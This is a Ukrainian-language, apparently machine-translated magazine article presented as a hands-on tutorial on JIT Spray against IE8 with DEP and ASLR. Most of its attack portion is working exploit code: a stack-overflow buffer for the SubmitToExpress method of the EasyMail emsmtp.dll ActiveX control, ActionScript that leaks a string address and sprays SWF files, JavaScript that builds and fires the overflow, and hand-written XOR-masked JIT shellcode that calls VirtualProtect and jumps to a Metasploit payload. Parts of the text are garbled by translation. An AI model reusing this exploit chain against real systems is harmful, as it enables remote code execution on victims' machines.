Сьогодні ми розберемося з новітньою методикою подолання hardware DEP і ASLR для IE8 - JIT Spray. Розробимо простий прототип експлойта, а також свій власний JIT-шеллкод.
Як все починалося
До недавнього часу вважалося, що ASLR + DEP і браузер IE8 - неприступна фортеця. Знаменитий експлойт Aurora, який застосовувався для атак на Google, використовував узявімості браузера IE, але працював тільки під IE6/IE7. Однак дослідники не збиралися миритися з цим, і на початку лютого 2010 року на конференції BlackHat DC 2010 були представлені техніки, які успішно обходять ASLR, DEP і працюють з IE8. На жаль, дослідники багато приховали, зокрема не відкрили ні повноцінних прикладів шеллкода, ні повних вихідних кодів. Але їх матеріалу достатньо, щоб будь-який просунута людина міг зібрати свій експлойт. Так Immunity у своєму платному продукті Canvas реалізувала ці техніки для знаменитого експлойта Aurora і тепер він успішно працює для IE8 під Windows 7. Упевнений, що багато Дуже-Чорні-Капелюхи, також взяли на озброєння ці методи для своїх брудних цілей. Так що будемо усі реалізовувати самостійно.
Previously on] [
У минулих номерах] [, я розповідав як шукати уразливості, писати свої експлойти і навіть обходити hardware DEP. Ця стаття буде висновком трилогії про атаки на браузери. Як приклад уразливості я візьму той же компонент ActiveX, що і в попередніх своїх статтях - мені здається, що це буде вкрай показово. Нагадаю, що ми використовуємо ActiveX emsmtp.dll з пакету QuikSoft EasyMail. У даному об'єкті є кілька вразливих функцій - ми використовуємо SubmitToExpress (). Якщо передати в якості аргументу рядок довжиною більше 256 байт, то відбудеться переповнення буферу в стеці, при цьому ми захоплюємо регістр ESI, адреса повернення і дескриптор SEH.
cccc ... 260 ... ccccAAAAffffBBBBffffffffffffffffffffffffffffffffDDDD
ESI = AAAA
RET = BBBB
SEH = DDDD
IE8 - хакери не пройдуть!
Поставимо свіжий IE8 і включимо hardware DEP. Тепер ми повинні відчувати себе в цілковитій безпеці. Спробуємо запустити експлойт з попереднього номера, який відключає DEP для процесу iexplore. Нас чекає моментальне розчарування - Heap Spray більше не працює. Просто ось так от. Але не потрібно сліз, адже працювати з купою може не тільки IE. У нас же є Flash, і він досить непогано вміє працювати з купою. Однак, цього мало. Виникає друга проблема - не можна відключити DEP для процесу. Справа в тому, що IE8 використовує permanent DEP. Тобто процес сам встановлює собі DEP за допомогою виклику функції SetProcessDEPPolicy, яка в свою чергу викликає NtSetInformationProcess. Наш експлойт аналогічно намагається відключити DEP. Але повторний виклик NtSetInformationProcess буде завершено невдачею - Access Denied. Додамо сюди ще й захист ASLR, тобто той факт, що адреси функцій у пам'яті нам невідомі. Завдання ускладнюється ще в 256 разів.
JIT Spray поспішає на допомогу
Світ не без добрих людей. Один з них - Діоніс Блазакіс (Dionysus Blazakis) прийшов на конференцію BlackHat DC 2010 і розповів, як він обійшов захист DEP і ASLR і таки домігся виконання свого шеллкода в контексті IE8. Після цієї розповіді він виклав на своєму веб-сайті документ, який детально описує, як цього домогтися. Що ж, спробуємо розібратися ...
Отже, питання номер один - як обійти permanent DEP? Діон пропонує скористатися будь-яким JIT-компілятором, яких в браузері достатньо. Сам він активно пропагує JIT-компілятор для байткода ActionScript. Суть ідеї наступна - ми пишемо AS код, компілюємо його в байткод і засовуємо в SWF-файл. Flash вантажить цей файл, а вбудована віртуальна машина переробляє байткод у здійснимих код і поміщає його в пам'яті процесу IE8. Природно, область пам'яті, де лежить код, позначена як співається. Адже Flash повинен виконати той код, що програміст написав. Якщо хакер в якості адреси повернення вкаже адресу цієї області пам'яті, то код спокійно виконається. Однак, код цей необразливий. У ActionScript немає "злих" функцій, на зразок "відкрити мережевий порт і перенаправити введення з нього на cmd.exe". А хакера тільки такі завдання і цікавлять.
Отже, припустимо у нас є код на ActionScript'e
var ret = (0x3C909090 ^ 0x3C909090 ^ 0x3C909090 ^ 0x3C909090 ^ ...);
У пам'яті він буде виглядати вже так:
0x1A1A0100: 359090903C XOR EAX, 3C909090
0x1A1A0105: 359090903C XOR EAX, 3C909090
0x1A1A010A: 359090903C XOR EAX, 3C909090
0x1A1A010F: 359090903C XOR EAX, 3C909090
Впізнаєш? 0x35 - це команда XOR EAX, а далі аргумент - задом наперед. А якщо адреса повернення буде вказувати не на самий початок коду, а, припустимо, зрушить на один байт, тоді виконуваний код стане таким:
0x1A1A0101: 90 NOP
0x1A1A0102: 90 NOP
0x1A1A0103: 90 NOP
0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: 90 NOP
0x1A1A0107: 90 NOP
0x1A1A0108: 90 NOP
0x1A1A0109: 3C35 CMP, AL 35
0x3C - те, що було у нас аргументом, після зсуву стане CMP AL. При цьому, аргумент для порівняння - наш колишній XOR EAX - 0x35. Таким чином, легальний XOR з'їдається, і йдуть тільки оператори NOP'и і порівняння, що є теж семантичний NOP в даному контексті. Ось так ми можемо писати майже будь-який код, використовуючи лише аргументи "виключає або" в ActionScript'е. Можна сюди просто запихати шеллкод.
Але ж ми не знаємо адресу, де буде цей блок пам'яті з виконуваним кодом. Звідки нам знати, куди Flash його запіхнет? А якщо ще й ASLR, тоді взагалі нема про що говорити. Але Діон запропонував два варіанти. По-перше, можна відкрити дуже багато файлів з JIT-шеллкодом, тоді вийде аналог HeapSpray. Ми заповнимо пам'ять нашим кодом, і тоді вгадати адресу стане дуже легко. Навіть якщо використовується ASLR, залишається ймовірність вгадування. Цей варіант практично 100% надійний на Windows XP SP3 і малонадежен, але працездатний на Windows 7. По-друге, можна скористатися витоками пам'яті в ActionScript'е для визначення реальної адреси в пам'яті. Так як у мене XP SP3, то докладно розповім лише про першому способі. Тим не менше, другий спосіб ми також будемо використовувати, але небагато для інших цілей. Додам ще, що Діон для роботи використав компілятор Tamarin (входить до складу Flex SDK), я ж використав компілятор з набору SWFTOOLS.
Шеллкод
Визначимо для початку, що ми хочемо від шеллкода: щоб він був універсальний, щоб можна було використовувати шеллкоди з MetaSploit, наприклад. Але це не зовсім тривіальна задача. У JIT-шеллкоде потрібно маскувати XOR EAX. У нас для роботи тільки три байти аргументу. Четвертий байт повинен маскувати XOR. Тому доведеться розробляти власний. В інтернеті матеріалу про це не було і немає жодного прикладу, та й сам Діоніс нічим, крім теорії, не поділився. Будемо робити все самі. Логіка, описана Діоном:
1. Переносимо будь шеллкод (наприклад, з MetaSploit) у рядок ActionScript.
2. Через витік пам'яті дізнаємося покажчик на адресу рядки з шеллкодом.
3. Виконуємо JIT-Spray. Впроваджуємо в пам'ять JIT шеллкод.
4. Передаємо управління на шеллкод з JIT-Spray.
5. JIT шеллкод шукає адресу VirtualProtect.
6. JIT шеллкод за допомогою VirtualProtect робить область пам'яті з рядком виконуваної.
7. JIT шеллкод передає управління на пам'ять з рядком, в якій у нас шеллкод з MetaSploit.
Перенесення шеллкода з Метасплойта в рядок ActionScript. Це просто, діємо за аналогією з HeapSpray. Так, наприклад, послідовність опкодов "\ x11 \ x22 \ x33 \ x44", у форматі рядка AS буде виглядати як: "\ u2211 \ u4433". Для зручності я написав невеликий скрипт (він є на диску до журналу), який збирає зі звичайного шеллкода у форматі рядка perl шеллкод у форматі рядка AS. Тепер нам треба обчислити покажчик цього рядка, щоб потім JIT-шеллкод зробив пам'ять, де лежить цей рядок, що виконується. Діоніс знайшов спосіб отримання адреси рядки в пам'яті через витік з об'єкта класу Dictionary. Клас Dictionary дозволяє задавати пару значення-ключ, де в ролі ключа може бути будь-який об'єкт. Наприклад:
var dict = new Dictionary ();
var key = "key";
dict [key] = "Value1";
dict ["key"] = "Value2";
Про типи об'єктів та їх поданні до пам'яті (атомах) можна докладно почитати в статті Діоніса, я ж коротко винесу суть. У даному прикладі, key - рядок. Рядок являє собою сутність довжиною в 32 біта, де перші 3 біти описують тип, наступні 29 біт - покажчик на значення рядка. Числа ж зберігаються не за вказівником. Якщо тип Integer, то 29 біт - значення числа, а перші 3 біти - також тип атома. Так в ActionScript розуміються дані, якщо спрощено. При використанні Dictionary, ключ хешіруется, і якщо таблиця для значень хешування досить велика, то в результаті велика частина вихідного значення залишиться незмінною. Якщо в якості ключа використовується число, то для хешування використовується його значення, а от якщо об'єкт або рядок, то адресу. Залишилося отримати його значення. Зберемо два об'єкти класу Dictionary і заповнимо перший об'єкт парними числами, другий - непарними. Потім в кожний з об'єктів засунь рядок з шеллкодом в якості індексу (значення не має значення:)).
var shellcode = "shellcode";
var even = new Dictionary ();
var odd = new Dictionary ();
/ / Заповнюємо
for (i = 0; i <(1024 * 1024 * 8);
i + = 1) {
even [i * 2] = i;
odd [i * 2 + 1] = i;
}
/ / Заносимо рядок
even [shellcode] = 1;
odd [shellcode] = 1;
Потім переберемо кожен об'єкт, зберігаючи попередній індекс, поки не знайдемо рядок.
for (curr in even) {
/ / Перебір ключів
if (curr == shellcode)
{Break;} / / знайшли рядок
evenPrev = curr;
}
for (curr in odd) {
if (curr == shellcode)
{Break;}
oddPrev = curr;
}
Алгоритм роботи Dictionary дозволяє нам за значенням індексів, що йдуть перед розміщенням рядки, обчислити адреса рядка. Використання двох об'єктів дозволяє уникнути колізії, крім того, ці числа повинні відрізнятися на 17 - це буде говорити нам, що все пройшло правильно (все це пов'язано з роботою хешування значення атомів і пошуку місця в таблиці для зберігання пари ключ-значення). Це і багато іншого ти можеш більш детально дізнатися в тій же статті Діоніса.
/ / Ptr - покажчик на адресу рядки з шеллкодом
n oaeeeiaii
if (evenPrev <oddPrev) {
ptr = evenPrev;
if (evenPrev +8 +9! = oddPrev)
{/ / Перевірка
return 0;
}
} Else {
ptr = oddPrev;
if (oddPrev +8 +9! = evenPrev) {
return 0;
}
}
ptr = (ptr + 1) * 8; / / Повертаємо 3 біти і робимо зрушення на 8:
(Ptr <<3) +8
Тепер, якщо до цього значення додати ще 12, то це буде покажчик на адресу рядка. Час JIT Spray! Для того щоб це виконати, досить відкрити безліч SWF файлів. При цьому перший файл завантажиться, а решта з кешу браузера підуть. Тим не менш, треба пам'ятати, що Flash ставить обмеження на час роботи скрипта. Обійти це можна, використовуючи таймери і події або інтервал. Після цього передаємо управління в JavaScript з адресою рядка.
function pageLoadEx () {
var ldr = new Loader ();
var url = "jit_s0.swf";
/ / Файл з JIT-шеллкодом
var urlReq = new
URLRequest (url);
ldr.load (urlReq);
childRef = addChild (ldr);
}
function pageLoad () {
for (var z = 0; z <600; z + +) {
pageLoadEx ();
} / / Вантажимо 600 разів
ic = ic + 1;
MyTextField1.text = ic +
"- JIT spraying, wait for 4 ...";
if (ic == 4) {
/ / 4 рази по 600 достатньо
clearInterval (ldInt);
MyTextField1.text = ic +
"- Done, calling sploit ...";
ExternalInterface.call (
"Exploit", ptr);
/ / Передаємо управління
}
}
ldInt = setInterval (pageLoad, 3500);
/ / Запускаємо процес
Тепер треба сформувати переповнення буферу. Суть проста: переписуємо адресу повернення на адресу з JIT-шеллкодом, а далі, використовуючи переповнення, додаємо в стек адреса рядка з основним шеллкодом. Але тут можлива проблема: якщо адресу з JIT можна вибрати так, щоб не було нульових байтів або байтів не з ASCII-рядка, то адресу основного шеллкода вже не вибрати ніяк. Я придумав милицю, який допоможе запхнути адресу в стек - використовуємо надмірність. Розіб'ємо чотирибайтових адресу на два. Приміром, у нас адресу 0x01FF001A. Другий і третій байт не проходять. Робимо з нього дві адреси: 0x606F6061 і 0x616F606A. Перевертаємо послідовність і заносимо в рядок. Значення [0x60 .. 0x6F] легко передаються. JIT шеллкод відновить оригінальний адресу за формулою ((0x606F6061-0x60606060) <<4) + (0x616F606A-0x60606060) = 0x01FF001A. Крім того, досліджувана нами функція перескакує ще 8 байт після повернення, тому що використовує оператор retn 8. Для того, щоб врахувати це, заповнимо буфер так:
cccc ... 260 ... ccccAAAAffffBBBBCCCCCCCCCCCCDDDDDDDDDDDD
ESI = AAAA - покажчик на 0, так само є в JIT-spray блоці
RET = BBBB - покажчик на JIT шеллкод
Сссс - старші байти покажчика
DDDD - молодші байти покажчика
У такому випадку ми враховуємо 3 варіанти результату: retn, retn 4 і retn 8.
Шеллкод візьме старше значення, потім зрушиться в стеку на 12 байт і візьме молодше. Залишилося визначити сама адреса повернення. Мої спостереження показали, що якщо SWF файл з JIT-шеллкодом буде достатньо об'ємним, то відстань між блоками буде занадто великим і є значна ймовірність не вгадати адресу. Щоб блоки росли з однаковим инкрементом, який можна передбачити, потрібно дотримуватися розмір виділюваної пам'яті в межах 0x1000 байт. Тоді кожен виконуваний блок буде відрізнятися від попереднього рівно на 0x010000 байт. Причому розмір блоку буде 0x1000 байт, після цього блоку слідують не виконує, блоки пам'яті. Подальше залежить від ASLR, завантаженості процесу та кількості завантажуються блоків. У нашому прикладі ідеальний адресу повернення є 0x1A1A0101. Хоча блок починається з 0x1A1A0000, ми вказуємо зрушення, так як спочатку йде шматок вступного коду, а потім наш JIT-шеллкод. Після шеллкода йде вивідний код Flash, решта забито нулями. У результаті:
var buf = "";
/ / Число в 16-ну рядок
function decimalToHex (d, l, rad) {
var hex = Number (d). toString (rad);
while (hex.length <l) {
hex = "0" + hex;
}
return hex;
}
function exploit2 (targetValue) {
var bf = unescape ("% 63");
/ / Сссссс ... 260 ... cccccc
var value = targetValue;
value = decimalToHex (value, 8,16);
/ / Розбиваємо адресу на дві
чотирибайтових рядки
var h11 = "% 6" + value.substring (0,1);
var h12 = "% 6" + value.substring (1,2);
var h21 = "% 6" + value.substring (2,3);
var h22 = "% 6" + value.substring (3,4);
var h31 = "% 6" + value.substring (4,5);
var h32 = "% 6" + value.substring (5,6);
var h41 = "% 6" + value.substring (6,7);
var h42 = "% 6" + value.substring (7,8);
/ / Два рядки
var high = h41 + h31 + h21 + h11;
var low = h42 + h32 + h22 + h12;
/ / Буфер
while (buf.length <260) buf = buf + bf;
buf + = unescape ("% 0a% 0a% 1a% 1a");
/ / ESI - покажчик на 0
buf + = "ffff" + unescape ("% 01% 01% 1a% 1a");
/ / Адреса повернення = 0x1A1A0101 -
JIT шеллкод
buf + = unescape (high); / / if ret
buf + = unescape (high); / / if ret 4
buf + = unescape (high); / / if ret 8 (у
emsmtp.dll - ret 8)
buf + = unescape (low);
buf + = unescape (low);
buf + = unescape (low);
alert ('Try me on 0x' + decimalToH
ex (targetValue, 8,16) + '');
vuln.SubmitToExpress (buf); / / атака
}
/ / Викликаємо це з Флеша
function exploit (targetValue) {
setTimeout ('exploit2 (' + targetValue +')', 5000);
/ / Крапельку почекаємо
}
JIT-Spray шеллкод
Повернемося до власне JIT-шеллкоду. Коли я почав над ним працювати, спливло як мінімум три основні підводні каменю.
1. Старший байт не може бути більше 0x7F. Інакше виходить занадто велика кількість і, щоб обробити його, в нашу XOR рядок додається непотрібний код, який все зіпсує. Тому ми можемо використовувати значення від 0x00 до 0x7F.
2. Якщо в нашому шеллкоде буде порівняння, а потім оператор умовного переходу (JNE / JE, наприклад), то треба тримати Z прапор незмінним після порівняння і до оператора переходу. Але ж ми можемо вводити команди тільки групою по три байти, а потім маскувати XOR. А XOR ми маскуємо оператором CMP, що, природно, не сприяє схоронності Z прапора. Щоб вирішити цю проблему, нам потрібно знайти оператор з розміром аргументу в один байт (значення XOR), та так, щоб він не впливав на Z прапор і не переходив меж 0x7F значенням опкода. ADD, SUB, XOR, OR, AND і т.д. - Все це не підходить. Якщо в результаті виконання операції регістр AL стане 0, то встановиться Z прапор. У підсумку, єдиним достойним командою виявилася команда PUSH - 0x6A. Тоді приклад порівняння і переходу буде виглядати так:
0x1A1A0110: 803F6E CMP [EDI], 'n'
0x1A1A0113: 6A35 PUSH 35
0x1A1A0115: 75EF jnz short
3. Ми не можемо працювати повноцінно з чотирибайтових значеннями. Наприклад, зробити PUSH 0xA1B1C3C4. Адже для цього нам треба 5 контрольованих поспіль байт, і ще 6 байт для маскування XOR, а у нас їх тільки 3. Але ця проблема вирішується, якщо працювати з регістром і його частинами. Спочатку 4 байти в регістр, причому другий молодший байт буде XORом - 0x35. Потім міняємо AL і AH.
0x1A1A0110: B80035B1A1 MOV EAX, 0xA1B13500
0x1A1A0115: 3C35 CMP AL, 35
0x1A1A0117: B063C4 MOV AL, C4
0x1A1A011a: 3C35 CMP AL, 35
0x1A1A011c: B163C3 MOV AH, C4
0x1A1A011F: 3C35 CMP AL, 35
0x1A1A0121: 50 PUSH EAX
Враховуючи ці три особливості, можна написати майже будь-який шеллкод. Пишемо той, що задумали. Повна версія на диску, тут наведено лише ключові моменти.
function funcXOR1 ()
{
var jit = (0x3c909090 ^ 0x3c909090 ^ .. / / почнемо з NOP
0x3c44ec83 ^ / / 3583ec443c sub esp, 44; йдемо від адреси подалі
0x3c90C033 ^ / / 3533C0903c xor eax, eax
0x3c9030b0 ^ / / 35b030903c mov AL, 30
0x3c008b64 ^ / / 35648b003c mov eax, fs: [eax]
0x3c0c408b ^ / / 358b400c3c mov eax, fs: [eax + C]
0x3c1c408b ^ / / 358b401c3c mov eax, fs: [eax +1 C]
0x3c08508b ^ / / 358b50083c NEXT: mov edx, [eax +08]
0x3c20788b ^ / / 358b78203c mov edi, [eax +20]; ім'я модуля
0x3c90008b ^ / / 358b00903c mov eax, [eax]
0x6a6b3f80 ^ / / 35803f6b6a cmp [edi], 'k'; Перша літера k? "Kern"
0x3c90eA75 ^ / / 3575eA903c jnz short NEXT:
0x3c904747 ^ / / 354747903c inc edi, inc edi; два байти зрушення - Unicode ж
... / / І так далі інші три букви
... / / Знайшовши модуль на ім'я та його базовий адресу
... / / Отримуємо покажчики на таблиці з іменами та адресами функцій
0x3cb89090 ^ / / 359090b83c mov eax, 3c ..
0x3c900000 ^ / / 350000903c 3500000
0x3c9063b0 ^ / / 35b063903c mov ah, 'c'
0x3c5074b4 ^ / / 35b474503c mov al, 't' and push - "ct \ 0 \ 0"
/ / Заносимо в стек по 4 байти "Virt ualP rote ct \ 0 \ 0"
/ / Потім шукаємо в списку імен це ім'я, як знайшли ім'я, дивимося з цим же індексом адресу функції, одержуємо
...
0x3c5cc483 ^ / / 3583c45c3c add esp, 5c; Повертаємося до адреси шеллкода
0x3c909058 ^ / / 355890903c pop eax; отримуємо старші байти
0x3c08c483 ^ / / 3583c4083c add esp, 08; зсувається до молодшого адресою
0x3cb9905a ^ / / 355a90b93c pop edx; отримуємо молодші значення
0x3c906060 ^ / / 356060903c
0x3c9060b1 ^ / / 35b160903c
0x3c9060b5 ^ / / 35b560903c заносимо в регістр ecx 0x60606060
0x3c90c12b ^ / / 352bc1903c sub eax, ecx
0x3c90d12b ^ / / 352bd1903c sub edx, ecx; молодші відновили
0x3c04e0c1 ^ / / 35c1e0043c shl eax, 4; тепер старші
0x3c90c203 ^ / / 3503c2903c add eax, edx; ну і весь адресу
0x3c90388b ^ / / 358b38903c mov edi, [eax]; отримуємо за вказівником адресу шеллкода
0x3c08c783 ^ / / 3583c7083c add edi, 8; зсувається на 8 байт
0x3c406a54 ^ / / 35546a403c push esp and push 40; готуємо параметри. 0x40 - дозволити на читання, запис і виконання
0x3c90016a ^ / / 356a01903c push 01; розмір не має значення
0x3cd3ff57 ^ / / 3557ffd33c викликаємо функцію
0x3c90e7ff); / / і фінальний стрибок на основний шеллкод, вже виконуваний
}
function Loadzz2 () {var ret1 = funcXOR1 ();}
У коментарях шукай основний сенс, у опкодах ж присутній ще вирівнювання NOP'амі і маскування XOR'ов. Звичайно, даний шеллкод можна вписати в менші розміри, але в даному випадку значення це не має, головне - не набрати коду більше ніж 0x1000 = 4000 байт. Наш шеллкод має розмір близько 800 байт, включаючи NOP'и, XOR'и і вирівнювання Так що місця ще багато. Ось така історія. На диску ти знайдеш приклади інших шеллкодов і приклад експлойта. На жаль, ми не встигли розглянути варіант з точним обчисленням адреси JIT шеллкода, тим не менше, і даний варіант буде працювати. На диску є набір для генерації всього що знадобиться для обходу захисту DEP в IE8, до того ж відео, як цим користуватися.